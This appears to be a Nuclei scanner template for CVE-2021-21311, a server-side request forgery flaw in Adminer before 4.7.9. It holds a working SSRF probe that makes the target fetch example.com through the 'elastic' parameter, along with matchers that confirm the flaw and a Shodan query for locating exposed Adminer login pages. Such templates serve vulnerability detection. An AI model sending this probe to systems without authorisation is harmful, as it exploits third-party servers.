id: CVE-2021-21311

info:
  name: Adminer SSRF Using Verbose Error Messages
  author: Adam Crosser
  severity: high
  description: Adminer is an open-source database management in a single PHP file. In adminer from version 4.0.0 and before 4.7.9 there is a server-side request forgery vulnerability. Users of Adminer versions bundling all drivers (e.g. `adminer.php`) are affected. This is fixed in version 4.7.9.
  reference:
    - https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
    - https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
    - https://packagist.org/packages/vrana/adminer
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-21311
    cwe-id: CWE-918
  metadata:
    shodan-query: title:"Login - Adminer"
  tags: cve,cve2021,adminer,ssrf

requests:
  - method: GET
    path:
      - "{{BaseURL}}/adminer?elastic=example.com&username="

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 403

      - type: word
        part: body
        words:
          - "<title>400 - Bad Request</title>"